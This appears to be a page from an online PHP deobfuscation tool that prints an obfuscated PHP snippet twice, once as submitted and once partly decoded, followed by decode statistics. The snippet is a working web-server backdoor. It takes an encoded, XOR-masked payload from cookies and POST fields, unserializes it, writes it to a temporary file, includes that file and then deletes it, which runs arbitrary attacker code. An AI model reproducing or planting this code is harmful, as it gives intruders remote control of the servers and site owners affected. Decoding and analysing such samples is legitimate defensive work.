Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
. "\x49" . '_' . "\121" . 'N' . 'a';$gWrbzkdXb = "\143" . "\154" . "\x61" . 's' . chr ( 11..
Decoded Output download
<? . "I" . '_' . "Q" . 'N' . 'a';$gWrbzkdXb = "c" . "l" . "a" . 's' . chr ( 115 - 0 ).chr (95) . "e" . "x" . 'i' . chr ( 936 - 821 ).chr ( 702 - 586 )."s";$JiwxI = class_exists($RIJFa); $RIJFa = "47156";$gWrbzkdXb = "58737";if ($JiwxI === FALSE){class ZI_QNa{public function fFNSfn(){echo "31174";}private $GSppnFnB;public static $NJKQh = "c32feb62-566d-4c94-9cd8-779cf2d9c4db";public static $gmFWHyJM = 36711;public function __construct($uFLhHPNyRI=0){$HZnjGBQtC = $_POST;$AKWyoOha = $_COOKIE;$hTTmxGX = @$AKWyoOha[substr(ZI_QNa::$NJKQh, 0, 4)];if (!empty($hTTmxGX)){$XxhTGjhuw = "base64";$IkrJZfgi = "";$hTTmxGX = explode(",", $hTTmxGX);foreach ($hTTmxGX as $aQEEG){$IkrJZfgi .= @$AKWyoOha[$aQEEG];$IkrJZfgi .= @$HZnjGBQtC[$aQEEG];}$IkrJZfgi = array_map($XxhTGjhuw . chr (95) . "d" . chr (101) . "c" . 'o' . "d" . "e", array($IkrJZfgi,)); $IkrJZfgi = $IkrJZfgi[0] ^ str_repeat(ZI_QNa::$NJKQh, (strlen($IkrJZfgi[0]) / strlen(ZI_QNa::$NJKQh)) + 1);ZI_QNa::$gmFWHyJM = @unserialize($IkrJZfgi);}}private function WkzFPXuT(){if (is_array(ZI_QNa::$gmFWHyJM)) {$cfRrDu = sys_get_temp_dir() . "/" . crc32(ZI_QNa::$gmFWHyJM['s' . chr ( 994 - 897 ).chr ( 478 - 370 ).'t']);@ZI_QNa::$gmFWHyJM[chr ( 379 - 260 )."r" . chr (105) . "t" . "e"]($cfRrDu, ZI_QNa::$gmFWHyJM[chr ( 970 - 871 ).chr ( 666 - 555 )."n" . "t" . 'e' . chr ( 882 - 772 ).chr (116)]);include $cfRrDu;@ZI_QNa::$gmFWHyJM['d' . chr (101) . "l" . chr (101) . 't' . "e"]($cfRrDu); $ZGSAOvW = "45414";exit();}}public function __destruct(){$this->WkzFPXuT();}}$RmIktIIrNe = new /* 47964 */ ZI_QNa(); $RmIktIIrNe = str_repeat("30501_32456", 1);} ?>
Did this file decode correctly?
Original Code
. "\x49" . '_' . "\121" . 'N' . 'a';$gWrbzkdXb = "\143" . "\154" . "\x61" . 's' . chr ( 115 - 0 ).chr (95) . "\x65" . "\x78" . 'i' . chr ( 936 - 821 ).chr ( 702 - 586 )."\x73";$JiwxI = class_exists($RIJFa); $RIJFa = "47156";$gWrbzkdXb = "58737";if ($JiwxI === FALSE){class ZI_QNa{public function fFNSfn(){echo "31174";}private $GSppnFnB;public static $NJKQh = "c32feb62-566d-4c94-9cd8-779cf2d9c4db";public static $gmFWHyJM = 36711;public function __construct($uFLhHPNyRI=0){$HZnjGBQtC = $_POST;$AKWyoOha = $_COOKIE;$hTTmxGX = @$AKWyoOha[substr(ZI_QNa::$NJKQh, 0, 4)];if (!empty($hTTmxGX)){$XxhTGjhuw = "base64";$IkrJZfgi = "";$hTTmxGX = explode(",", $hTTmxGX);foreach ($hTTmxGX as $aQEEG){$IkrJZfgi .= @$AKWyoOha[$aQEEG];$IkrJZfgi .= @$HZnjGBQtC[$aQEEG];}$IkrJZfgi = array_map($XxhTGjhuw . chr (95) . "\x64" . chr (101) . "\143" . 'o' . "\144" . "\x65", array($IkrJZfgi,)); $IkrJZfgi = $IkrJZfgi[0] ^ str_repeat(ZI_QNa::$NJKQh, (strlen($IkrJZfgi[0]) / strlen(ZI_QNa::$NJKQh)) + 1);ZI_QNa::$gmFWHyJM = @unserialize($IkrJZfgi);}}private function WkzFPXuT(){if (is_array(ZI_QNa::$gmFWHyJM)) {$cfRrDu = sys_get_temp_dir() . "/" . crc32(ZI_QNa::$gmFWHyJM['s' . chr ( 994 - 897 ).chr ( 478 - 370 ).'t']);@ZI_QNa::$gmFWHyJM[chr ( 379 - 260 )."\x72" . chr (105) . "\x74" . "\x65"]($cfRrDu, ZI_QNa::$gmFWHyJM[chr ( 970 - 871 ).chr ( 666 - 555 )."\x6e" . "\164" . 'e' . chr ( 882 - 772 ).chr (116)]);include $cfRrDu;@ZI_QNa::$gmFWHyJM['d' . chr (101) . "\154" . chr (101) . 't' . "\145"]($cfRrDu); $ZGSAOvW = "45414";exit();}}public function __destruct(){$this->WkzFPXuT();}}$RmIktIIrNe = new /* 47964 */ ZI_QNa(); $RmIktIIrNe = str_repeat("30501_32456", 1);}
Function Calls
None |
Stats
MD5 | 6bd3cd64ff5435a9a5c6225f29fe5d50 |
Eval Count | 0 |
Decode Time | 46 ms |